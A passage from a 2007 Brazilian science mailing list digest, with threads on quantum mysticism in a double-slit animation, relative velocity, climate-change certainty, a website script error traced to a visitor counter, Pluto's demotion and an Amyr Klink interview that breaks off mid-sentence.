FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 19:59

Pior, a animação é boa, mas principalmente no final escorrega para o
misticismo quântico.

Infelizmente, é porque o "Dr. Quantum" é um místico viajante da
maionese, mais conhecido como Fred Alan Wolf:
http://www.fredalanwolf.com/

O Dr Quantum acredita que as pessoas podem levitar por aí baseadas em
força de vontade e física quântica. E o pior é que adora popularizar
essas idéias, desde os anos 80 publicou um livro completamente
ilustrado, traduzido inclusive para o português. Eu já o li (ou
melhor, vi as figuras!), mas não me lembro bem do nome. Mas acho q foi
publicado pela Cultrix e promovido junto com O Tao da Física.

O chato é que o Carlos Portela teve todo o trabalho de legendar, e ele
legenda outros documentários muito mais louváveis. Todos eles podem
ser vistos no seu blog, "imperdível" :-):
http://ensinofisicaquimica.blogspot.com/

[]s

Mori

On 6/13/07, Oraculo <oraculo@atibaia.com.br> wrote:
>
>
>
>
>
>
> Olá Esteban
>
> A animação vai bem, quase até o final..:-) Acho que os físicos da lista podem corrigir melhor que eu, mas a alegação final oculta um fator importante, mas convenientemente "esquecido", do experimento.
>
> Quando o professor informa que foi instalado um dispositivo de observação, e ele demonstra isso com um "olho" mecânico, vai o aviso de que este dispositivo não "impede o elétron de seguir seu curso". E como todos nós temos a impressão que "ver", observar, pela experiência de nossa vida diária, é algo que não interfere com o que é visto (parece ser algo "natural"), ficamos com a impressão de que o dispositivo observador (o olho mecanico) também age dessa forma no mundo das particulas.
>
> Mas não é assim. O que o professor "esqueceu" de explicar é que não há forma conhecida de "observar" uma particula sub-atomica sem interferir com ela, sem modificar algo em seu comportamento. A "observação" nesse caso não é algo separado e independente do que é observado, mas algo dinâmico, que afeta o resultado da observação. É como tentar determinar a trajetória de uma bola de bilhar, não "olhando" para ela, mas enviando outras bolas de bilhar para se chocar com elas e analisar o resultado do choque.
>
> Nesse caso, o observador afeta o observado por uma questão natural, física, não transcendental ou esotérica. "Olhar" uma bola de bilhar, um objeto do macro-cosmo, não afeta de forma alguma a bola. Já "olhar" um elétron afeta, e tem de afetar, pois as formas de observar esta partícula é interagir com ela, em frequências de onda que são do "tamanho" do objeto observado (ou maior ou menor, e que produzem resultados diferentes em termos de precisão).
>
> O diabo é que eu gostei da animação, até quase o final..:-) Serviria de forma excelente para explicar as estranhezas da mecânica quantica para leigos, se não fosse essa "escorregada" final..:-)
>
> Um abraço.
>
> Homero
>
> ----- Original Message -----
> From: Esteban Moreno
> Sent: Tuesday, June 12, 2007 1:22 PM
> Subject: [ciencialist] Animação da experiência da fenda dupla
>
> Uma bela aula para refletir sobre os parodoxos da mecanica quântica:
>
> http://mojiti.com/kan/4192/13741/59852
>
> E.


SUBJECT: Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 13/06/2007 21:39

Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados<http://100nexos.com/arquivo/173>
<http://100nexos.com/arquivo/173#respond> Assista
ao v�deo

<http://100nexos.com/arquivo/173>O que acontece se voc� estver dentro de um
carro a 100Km/h e lan�ar uma bola no sentido contr�rio ao movimento do carro
a exatos 100Km/h? Este Grande Mist�rio da Humanidade foi solucionado, como
sempre, pela televis�o japonesa (� um programa especializado em
trivialidades<http://www.youtube.com/results?search_query=%E3%83%88%E3%83%AA%E3%83%93%E3%82%A2%E3%81%AE%E6%B3%89&search=Search>).
Primeiro, mostram como far�o a minivan percorrer o circuito e alcan�ar a
velocidade exata no ponto de in�cio depois de uma volta. Depois, regulam o
lan�ador de bolas de t�nis para a velocidade exata. E o resultado� Assista
ao v�deo, e se estiver impaciente, pule para os segundos finais.

[via Digg, Bernebauer
<http://www.bernabauer.com/experiencia-de-fisica/>, S�rgio
Lima<http://sergioflima.pro.br/blog/blogs/index.php/blogefisica/2007/06/13/velocidade_relativa_em_japones>
]

*Veja tamb�m:*
Jogo: administre o McDonald's <http://100nexos.com/arquivo/62> E n�o s� uma
franquia. Das vacas &a...
Fonte permite a ilus�o de controlar e reverter o
tempo<http://100nexos.com/arquivo/120>� o mesmo efeito que ocorre
quando voc&eci...
Dez coisas que voc� nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money d� as dicas...
O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> H�
pouco um novo filme do dia fat�d...
C�lulas-tronco + gordura = admir�veis seios
novos?<http://100nexos.com/arquivo/87>O cirurgi�o pl�stico japon�s ...


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 22:14

--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
> Jogar uma bola a 100Km/h de um carro a 100Km/h: os
> resultados<http://100nexos.com/arquivo/173>

Será q o Ferrari, com sua visão física superior, consegue explicar por
q a bola de beisebol depois de cair começa a andar para a frente (no
sentido do movimento da caminhoneta)?

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Os que não dividivam o carro, tentando dividir o UM
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 23:40

Deviam fazer um seriado com as discussões do Ferrari e do Takata.

Alguém está compilando tudo? Vale ouro.

Mori


SUBJECT: Re: [ciencialist] Re: Petição contra o aquecimento global
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/06/2007 23:56

> E então fica a pergunta: "e daí?"

Tu quem fez as perguntas. Te dei as respostas. Tu que sabe o que fazer com elas.

> Não seria legítimo.

Ótimo. É só isso o que eu queria saber.

> Embora, pelo a chamada grande imprensa não venha cometendo esse equívoco.

Mas o Al Gore está. O Greenpeace está. As ONGs estão. A grande
imprensa está reverberando o que eles estão falando. E a população
está acreditando pela confiança que tem nessas "autoridades" no
assunto.

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Petição contra o aquecimento global
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/06/2007 00:32

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> > E então fica a pergunta: "e daí?"
>
> Tu quem fez as perguntas. Te dei as respostas. Tu que sabe o que
> fazer com elas.

Eu fiz as perguntas em função de vc enfatizar q não é uma hipótese
100% certa.

Nenhuma hipótese é 100% certa.

> Mas o Al Gore está. O Greenpeace está. As ONGs estão. A grande
> imprensa está reverberando o que eles estão falando. E a população
> está acreditando pela confiança que tem nessas "autoridades" no
> assunto.

Al Gore nunca foi autoridade sobre ciência climática nem meio
ambiente. O Greenpeace são extremistas ambientais, marketing de
guerrilha. Qto às ONGs não vejo tb um uso inadequado de modo geral.
Grande parte da orientações das organizações ambientais têm se baseado
nas conclusões do 4o IPCC.

Qto à população. Ela está pouco se lixando com isso. Mais por fora do
q financiamento de campanha eleitoral. No Brasil apenas 24% se
preocupam com o aquecimento global.

[]s,

Roberto Takata



SUBJECT: Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/06/2007 02:07

Para mim o seu site continua abrindo normalmente. Usoo Firefox.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Olá Homero,
>
> eu abro aqui no meu PC e aparece lá em baixo (status) : Erro na página.
>
> e eu não acho onde isso está!
>
> grato pela tentativa.
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Oraculo" <oraculo@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: terça-feira, 12 de junho de 2007 17:18
> Assunto: Re: [ciencialist] O Imperdivel está sendo atacado por vírus
vagabundo ... acho!
>
>
> Olá Leo
>
> Eu acessei o Feira de Ciências e está abrindo normalmente aqui.
>
> Homero
>
>
> ----- Original Message -----
> From: Luiz Ferraz Netto
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, June 12, 2007 4:51 PM
> Subject: [ciencialist] O Imperdivel está sendo atacado por vírus
vagabundo ... acho!
>
>
> Chegando do rancho fui entrar na página do Imperdível. Pronto! Lá
estava novamente aquela 'meleca' que o Homero (e outros)
identificaram. A coisa voltou. Coloco novamente a página original
on-line ... e agora aparece ___ Erro na página! ___ E não consigo
achar o tal erro.
> Quem se habilita a entrar na página principal e verificar que erro
é esse?
> Agradeço.
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.472 / Virus Database: 269.8.13/843 - Release Date:
10/06/2007 13:39
>




SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/06/2007 02:15

Recomendo ao José Renato, construtor de aviões que não voam. :)

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Kentaro Mori"
<kentaro.mori@...> escreveu
>
> Jogar uma bola a 100Km/h de um carro a 100Km/h: os
> resultados<http://100nexos.com/arquivo/173>
> <http://100nexos.com/arquivo/173#respond> Assista
> ao vídeo
>
> <http://100nexos.com/arquivo/173>O que acontece se você estver
dentro de um
> carro a 100Km/h e lançar uma bola no sentido contrário ao movimento
do carro
> a exatos 100Km/h? Este Grande Mistério da Humanidade foi
solucionado, como
> sempre, pela televisão japonesa (é um programa especializado em
>
trivialidades<http://www.youtube.com/results?search_query=%E3%83%88%E3%83%AA%E3%83%93%E3%82%A2%E3%81%AE%E6%B3%89&search=Search>).
> Primeiro, mostram como farão a minivan percorrer o circuito e alcançar a
> velocidade exata no ponto de início depois de uma volta. Depois,
regulam o
> lançador de bolas de tênis para a velocidade exata. E o resultado…
Assista
> ao vídeo, e se estiver impaciente, pule para os segundos finais.
>
> [via Digg, Bernebauer
> <http://www.bernabauer.com/experiencia-de-fisica/>, Sérgio
>
Lima<http://sergioflima.pro.br/blog/blogs/index.php/blogefisica/2007/06/13/velocidade_relativa_em_japones>
> ]
>
> *Veja também:*
> Jogo: administre o McDonald's <http://100nexos.com/arquivo/62> E não
só uma
> franquia. Das vacas &a...
> Fonte permite a ilusão de controlar e reverter o
> tempo<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre
> quando voc&eci...
> Dez coisas que você nunca deve comprar usadas (e dez que
> deve)<http://100nexos.com/arquivo/88>Liz
> Pulliam Weston do MSN Money dá as dicas...
> O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> Há
> pouco um novo filme do dia fatíd...
> Células-tronco + gordura = admiráveis seios
> novos?<http://100nexos.com/arquivo/87>O cirurgião plástico japonês ...
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/06/2007 09:01

Interessante. Fico feliz que as leis de Newton estejam em ordem, a menos de
pequenas imprecisões e correções relativísticas.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Kentaro Mori" <kentaro.mori@gmail.com>
To: <ciencialist@yahoogrupos.com.br>; <enigmasonline@yahoogrupos.com.br>;
"lista CA" <ceticismoaberto@yahoogrupos.com.br>
Sent: Wednesday, June 13, 2007 9:39 PM
Subject: [ciencialist] Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados


Jogar uma bola a 100Km/h de um carro a 100Km/h: os
resultados<http://100nexos.com/arquivo/173>
<http://100nexos.com/arquivo/173#respond> Assista
ao vídeo

<http://100nexos.com/arquivo/173>O que acontece se você estver dentro de um
carro a 100Km/h e lançar uma bola no sentido contrário ao movimento do carro
a exatos 100Km/h? Este Grande Mistério da Humanidade foi solucionado, como
sempre, pela televisão japonesa (é um programa especializado em
trivialidades<http://www.youtube.com/results?search_query=%E3%83%88%E3%83%AA%E3%83%93%E3%82%A2%E3%81%AE%E6%B3%89&search=Search>).
Primeiro, mostram como farão a minivan percorrer o circuito e alcançar a
velocidade exata no ponto de início depois de uma volta. Depois, regulam o
lançador de bolas de tênis para a velocidade exata. E o resultado. Assista
ao vídeo, e se estiver impaciente, pule para os segundos finais.

[via Digg, Bernebauer
<http://www.bernabauer.com/experiencia-de-fisica/>, Sérgio
Lima<http://sergioflima.pro.br/blog/blogs/index.php/blogefisica/2007/06/13/velocidade_relativa_em_japones>
]

*Veja também:*
Jogo: administre o McDonald's <http://100nexos.com/arquivo/62> E não só uma
franquia. Das vacas &a...
Fonte permite a ilusão de controlar e reverter o
tempo<http://100nexos.com/arquivo/120>É o mesmo efeito que ocorre
quando voc&eci...
Dez coisas que você nunca deve comprar usadas (e dez que
deve)<http://100nexos.com/arquivo/88>Liz
Pulliam Weston do MSN Money dá as dicas...
O assassino desconhecido de Kennedy <http://100nexos.com/arquivo/112> Há
pouco um novo filme do dia fatíd...
Células-tronco + gordura = admiráveis seios
novos?<http://100nexos.com/arquivo/87>O cirurgião plástico japonês ...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Petição contra o aquecimento global
FROM: "Danniel Soares" <dannielsc@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/06/2007 10:40

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu

>
> Teu exemplo tornou evidente que me enganei classificando aquela
> afirmação como mentira, automaticamente. O que quis dizer é que é
> impossível afirmar (no domínio do conhecimento) que o aquecimento
> global é causado pelo homem com certeza ao mesmo tempo em que se
> declara a incerteza disto.

Não é desde que se considere que existem diversos graus de certeza.
Assim certezas e incertezas sobre a mesma coisa coexistem, não é tudo
binário. O último relatório do IPCC dá como "90% de certeza" que o
aquecimento global recente tem relevantes contribuições humanas.

É meio como uma frase do Asimov, sobre as pessoas, tanto que afirmam
que a Terra seja esférica quanto que é plana, estão erradas,
estritamente falando. Mas elas não estão igualmente erradas, apenas
por nenhuma das afirmações ser perfeitamente condizente com a
realidade, uma delas se aproxima muito mais da realidade.

É perfeitamente aceitável se dizer, informalmente, que "tem certeza"
nesse ponto, para não se cair em discussões semânticas ou
profundamente filosóficas envolvendo solipsismo, niilismo e coisas do
tipo.



> O que quis chamar de mentira, portanto, é o aquecimento global de
> causas antropogênicas ser considerado uma certeza, uma verdade
> objetiva, dentro do domínio epistemológico do conhecimento.
>
> Então, reescrevendo, embora redundante:
> "- Há incerteza quanto a ser verdadeiro que o aquecimento global é
> causado pelo homem; logo é falso afirmar com certeza que o
aquecimento
> global seja causado pelo homem."
>
> Sendo assim, vamos voltar, então, à pergunta que eu te havia feito:
> Takata, pela incerteza das causas do aquecimento global serem uma
> "verdade conveniente para Bush e seus financiadores", tu acha
> legítimo, então, endossar a mentira de que sem sombra de dúvidas o
> aquecimento global seja causado pela ação humana?

A pergunta não foi dirigida a mim, mas não acho que tenha qualquer
"mentira" na defesa das causas humanas do aquecimento global muito
mais relevante do que quando se diz que a Terra é esférica ou do que
os incontáveis erros que se pode ter em divulgação científica de
temas complexos.

Sobre outro ponto que acabou sendo mencionado nessa discussão. Ainda
que o IPCC tenha dado no último relatório (e não desde o princípio,
pois também eram "céticos") "apenas" 90% de certeza dessas causas, e
os chamados "céticos" muitas vezes ainda assim digam que as certezas
sobre as causas humanas terem sido favoravelmente distorcidas pela
grande mídia, diversas fontes apontam o contrário, que a mídia na
verdade favoreceu a esse "ceticismo".

Meio de forma análoga a que de vez em quando alguns criacionistas
arranjam algum espaço, ou publicam algum livro de divulgação que
chama atenção e ganha algum destaque em publicações como super-
interessante ou época, ou como aqueles dissidentes do HIV como causa
da AIDS ou mesmo de sua existência, e outros tipos de dissidências
diversas. É muitas vezes o que acaba acontecendo por políticas de
jornalismo que tentam apresentar uma visão "balanceada", "imparcial",
mas acabam nesse processo favorecendo um lado que não tem tantos
méritos. Sem falar em programas ou publicações mais relacionadas À
entretenimento, como Jô Soares, onde podem ir até defensores da
existência de conspirações ainda mais bizarras como de que o homem
nunca foi à Lua, que não se precisa de comida para viver, apenas luz,
e etc.

De um texto do Chris Mooney, "blinded by science: how 'balanced'
coverage lets the scientific fringe hijack reality":

"Academics have studied media coverage of climate change, and the
results confirm climate scientists&#8217; longstanding complaints. In a
recent paper published in the journal Global Environmental Change,
the scholars Maxwell T. Boykoff and Jules M. Boykoff analyzed
coverage of the issue in The New York Times, The Washington Post, The
Wall Street Journal, and the Los Angeles Times between 1988 and 2002.
During this fourteen-year period, climate scientists successfully
forged a powerful consensus on human-caused climate change. But
reporting in these four major papers did not at all reflect this
consensus."

http://cjrarchives.org/issues/2004/6/mooney-science.asp



Outro trecho de um texto mais recente, focado especificamente no
consenso científico sobre o aquecimento global:

"The American Meteorological Society (6), the American Geophysical
Union (7), and the American Association for the Advancement of
Science (AAAS) all have issued statements in recent years concluding
that the evidence for human modification of climate is compelling (8).

The drafting of such reports and statements involves many
opportunities for comment, criticism, and revision, and it is not
likely that they would diverge greatly from the opinions of the
societies' members. Nevertheless, they might downplay legitimate
dissenting opinions. That hypothesis was tested by analyzing 928
abstracts, published in refereed scientific journals between 1993 and
2003, and listed in the ISI database with the keywords "climate
change" (9).

The 928 papers were divided into six categories: explicit endorsement
of the consensus position, evaluation of impacts, mitigation
proposals, methods, paleoclimate analysis, and rejection of the
consensus position. Of all the papers, 75% fell into the first three
categories, either explicitly or implicitly accepting the consensus
view; 25% dealt with methods or paleoclimate, taking no position on
current anthropogenic climate change. Remarkably, none of the papers
disagreed with the consensus position."

http://www.sciencemag.org/cgi/content/full/306/5702/1686



Danniel Soares





SUBJECT: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/06/2007 12:15

Agradeço as informações dos amigos. Consegui identificar um erro; ele diz:

Linha: 9
Caractere: 15
Erro: Não é possível mover o foco para o controle porque este é invisível, não ativado ou de um tipo que não aceita foco. [parece até frase do Ferrari!]
Código: 0
URL: http://www.google.com.br

e dai?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>


Para mim o seu site continua abrindo normalmente. Usoo Firefox.

Abraços,
JC



SUBJECT: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Jeff" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/06/2007 13:20

O erro tá na chamada do seu contador. O contador tá dentro de um IFRAME, que
abre a URL
http://www.tecmarcos.com/contadorgratuito/contador.php?site=Prof_Léo&cor_fonte=000000&cor_fundo=FF00FF

No final desta página tem um código javascript "obfuscado", que está com
erro.

Use o Google Analytics, 1 bilhão de vezes melhor! :-)

[]´,s
Jeff.

>
>Agradeço as informações dos amigos. Consegui identificar um erro; ele diz:
>
>Linha: 9
>Caractere: 15
>Erro: Não é possível mover o foco para o controle porque este é invisível,
>não ativado ou de um tipo >que não aceita foco. [parece até frase do
>Ferrari!]
>Código: 0
>URL: http://www.google.com.br
>
>e dai?
>



SUBJECT: Re: Jogar uma bola a 100Km/h de um carro a 100Km/h: os resultados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/06/2007 13:24

--- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> Interessante. Fico feliz que as leis de Newton estejam em ordem, a
> menos de pequenas imprecisões e correções relativísticas.

Nessa escala sim. Mas se o experimento fosse feito com o carro se
movendo a 100.000 km/s o resultado seria distintamente diferente.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/06/2007 14:31

Olá Leo

Pela mensagem de erro (uma das coisas mais herméticas que existem nos computadores e softwares, por culpa dos próprios programadores..:-) um determinado script está com dificuldades em cumprir uma "ordem" de mover o cursor para um objeto da página. Para explicar melhor, imagine que está preencheendo um formulário na web com 4 campos, nome, endereço, bairro, cidade. Você preenche apenas os 3 primeiros e tenta enviar. O script nota a falha, dá um alerta de erro, e volta para a página do formulário. Mas, para ajudar você, não deixa o cursor (a barra de inserção de texto) no primeiro campo, mas o move para o campo vazio, da cidade.

A mensagem de erro parece indicar que um comando de mover o foco para um objeto (campo de formulário, label, etc) não pode ser cumprido, porque o objeto não existe, ou está "invisivel" (é uma propriedade, quando o programador deseja colocar um objeto, mas não quer que o usuário o veja) ou é de um tipo que não aceita foco.

Agora precisa achar qual o script que está fazendo isso. Eu apostaria em scripts externos, como seu contador de visitas.

Um abraço.

Homero




----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Thursday, June 14, 2007 12:15 PM
Subject: Re: [ciencialist] Re: O Imperdivel está sendo atacado por vírus vagabundo ... acho!


Agradeço as informações dos amigos. Consegui identificar um erro; ele diz:

Linha: 9
Caractere: 15
Erro: Não é possível mover o foco para o controle porque este é invisível, não ativado ou de um tipo que não aceita foco. [parece até frase do Ferrari!]
Código: 0
URL: http://www.google.com.br

e dai?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Carlos Antonio" <profjc2003@yahoo.com.br>

Para mim o seu site continua abrindo normalmente. Usoo Firefox.

Abraços,
JC





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: p/Leo - medida de tubos
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/06/2007 17:49

( repeteco...)


>From: "murilo filo" <avalanchedrive@hotmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] p/Leo - medida de tubos
>Date: Wed, 13 Jun 2007 16:40:49 -0300
>
>Leo,
>oi.
>Vc já conseguiu resposta sobre a unidade ''french'', usada em medicina?
>Se chegou poderemos confrontar.
>Acionei minhas bases no mesmo dia, demorou e não foi fácil.
>Na aguardatura. abr/M. SP 13/junh07
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: horoscopistas de plantão......
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <redeliberal@yahoogrupos.com.br>, <ciencialist@yahoogrupos.com.br>, <Acropolis_@yahoogrupos.com.br>
CC: <Conversa_de_Botequim@yahoogrupos.com.br>
DATE: 14/06/2007 20:38

Astrônomos rebaixam Plutão mais uma vez
Cientistas medem massa de Éris e concluem que é maior que o velho "nono planeta".
Resultado diminui as probabilidades de o astro voltar à "liga planetária".
Da France Presse entre em contato

ALTERA O
TAMANHO DA LETRA
A-
A+

Concepção artística de Éris e sua lua, Disnomia (Foto: Divulgação)
Saiba mais
a.. » Plutão esconde estrela e instiga cientistas
b.. » Para estado dos EUA, Plutão ainda é planeta
c.. » Astro que derrubou Plutão vai se chamar Éris, deusa da Discórdia
d.. » Grupo de cientistas opta por ignorar rebaixamento de Plutão
e.. » Grupo quer fazer abaixo-assinado para tentar salvar Plutão
f.. » Plutão, 'ex-planeta', é oficialmente rebaixado
O jogo acaba de ficar 2 a 0 contra o pobre ex-planeta Plutão. Além de ter sido rebaixado e perdido vaga na liga planetária "plena" no ano passado, descobriu-se agora que ele também não é nem o maior dos chamados planetas anões, a "segundona" do Sistema Solar. Na verdade, o maior dos pequenos já descobertos seria Éris, um astro parecido que ocupa a mesma região de Plutão no espaço.



Para ser preciso, a nova análise feita por astrônomos americanos mostra que Éris é 27% maior que Plutão. A descoberta, que confirma as estimativas iniciais, deve oferecer mais suporte para a decisão da União Astronômica Internacional pelo rebaixamento, no ano passado -- as chances de uma "virada de mesa" ficam cada vez mais distantes.


"Essa era a última chance de Plutão ser a maior coisa achada até hoje no cinturão de Kuiper", disse Michael Brown, professor de astronomia planetária no Instituto de Tecnologia da Califórnia (Caltech), em Pasadena, Califórnia. "Sempre houve a possibilidade de que Plutão e Éris fossem mais ou menos do mesmo tamanho, mas esses novos resultados mostram que Plutão, na melhor das hipóteses, fica em segundo lugar."


Brown e sua orientanda Emily Schaller calculam que Éris tenha uma massa de 16,6 bilhões de trilhões de quilos, segundo artigo científico publicado na edição desta semana do periódico "Science".

A dupla foi capaz de medir a massa de Éris determinando a órbita do satélite natural do planeta anão, Disnomia, usando dados do Observatório Keck e do Telescópio Espacial Hubble.


Os novos dados sugerem também que, como Plutão, Éris é provavelmente feito de gelo e rochas, com a presença de metano congelado na superfície.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Amyr Klink e o aquecimento global
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br, COELHO <COELHO@cetem.gov.br>
DATE: 15/06/2007 00:01

O navegador Amyr Klink fala sobre conseqüências do aquecimento global
Há décadas, cientistas vêm alertando os governos e a sociedade sobre o
aquecimento global e suas conseqüências para o planeta. Em fevereiro deste
ano, esse fato foi comprovado. O relatório do Painel Intergovernamental
sobre Mudança Climática (IPCC), publicado em Paris, revelou que até o ano de
2090 a temperatura do planeta pode subir entre 1,8º C e 4º C. A alteração no
clima implica um expressivo aumento do nível do mar, inundações de áreas
litorâneas e o desaparecimento de algumas grandes geleiras do planeta. Em
suas viagens ao redor do mundo, o navegador Amyr Klink vem testemunhando as
transformações sofridas pelo planeta. Essas histórias serão contadas por ele
no dia 12 de junho, durante a Conferência Internacional do Instituto Ethos,
evento que ocorre entre os dias 12 e 15 de junho, no Hotel Transamérica, em
São Paulo.

Formado em administração e economia, Klink teve diversas experiências
pelos mares, como a travessia do Atlântico Sul, a remo, a viagem da
Antártida ao Ártico em 642 dias, a bordo do veleiro polar Paratii, e a
circunavegação da Antártida, entre muitas outras. Essas aventuras foram
registradas nos livros Cem Dias entre Céu e Mar (1995), Paratii: Entre Dois
Pólos (1992) e Mar Sem Fim (2000). Recentemente, lançou sua última obra,
Linha D'Água: Entre Estaleiros e Homens do Mar, que traz também sua
experiência na construção de barcos.

Nesta entrevista ao Notícias da Semana, o navegador fala sobre as
conseqüências do aquecimento global, eficiência energética na construção de
barcos e sustentabilidade.

Instituto Ethos: Como você viu a notícia sobre as mudanças climáticas?
Amyr Klink: Essa notícia não me pegou de surpresa. Isso está
acontecendo há muito tempo. Viajo para a Antártida há 20 anos e é possível
perceber transformações brutais. Ao chegar à Antártida, é possível perceber
que as grandes geleiras estão recuando. Os raios ultravioleta estão mais
fortes e as plataformas polares estão se desprendendo. Já testemunhei peças
de gelo no mar de 45 km, 60 km e até de 180 km de extensão, em lugares nos
quais não deveria existir gelo. Os raios ultravioleta também estão muito
mais fortes. Há 15 anos, um cabo de polipropileno, que costumamos deixar
amarrado nas bases da Antártida, por segurança, durava de quatro a cinco
temporadas. Hoje ele não dura nem três meses. Mas não é preciso ir até a
Antártida para perceber que está havendo mudanças. Morei em Paraty por
muitos anos e vejo que o nosso litoral também está alterado. Algumas
espécies que viviam na costeira foram desaparecendo. O problema é que a
mídia descobriu o aquecimento global agora e está tratando o tema de forma
dramática e sensacionalista. Esse alarmismo atrapalha as discussões sérias
sobre as mudanças climáticas.

IE: Na sua opinião, qual o maior impacto da ação do homem no mar?
AK: Acredito que há uma posição muito cômoda dos ambientalistas em
combater problemas localizados. O lixo lançado ao mar, sacos plásticos e
outros objetos, é um problema quase microscópico perto do que está
acontecendo no planeta. Existem formas menos visíveis de agressão ao mar,
como a poluição química resultante dos processos industriais, que não é
percebida de imediato, mas será altamente prejudicial no futuro.

IE: Você acha que as medidas de combate ao aquecimento global que
estão sendo tomadas são eficientes?
AK: Na minha opinião, a posição dos governos é condenável. O Brasil
tem feito muitas críticas, há um discurso enorme sobre políticas de combate
ao aquecimento global, mas não vejo o governo tomar uma posição de fato para
atacar o problema. Vejo que as empresas estão saindo na frente. Muitos
empresários estão preocupados com a sustentabilidade porque sabem que, no
final das contas, essa forma de fazer negócio vai acabar dando lucro. Acho
que esse é o caminho, pois o setor privado é capaz de induzir políticas
públicas. Mas não acredito em nenhum tipo de diplomacia entre os países.

IE: Você fala muito sobre problemas com os aterros no Brasil. De que
forma isso tem impacto nas cidades?
AK: Apesar de viajar para regiões polares, gosto também de percorrer
as cidades brasileiras. Tenho interesse por urbanismo. Gosto de saber como
as cidades crescem e se desenvolvem. Na minha opinião, o Brasil tem
problemas crônicos nessa esfera. As cidades brasileiras deram as costas para
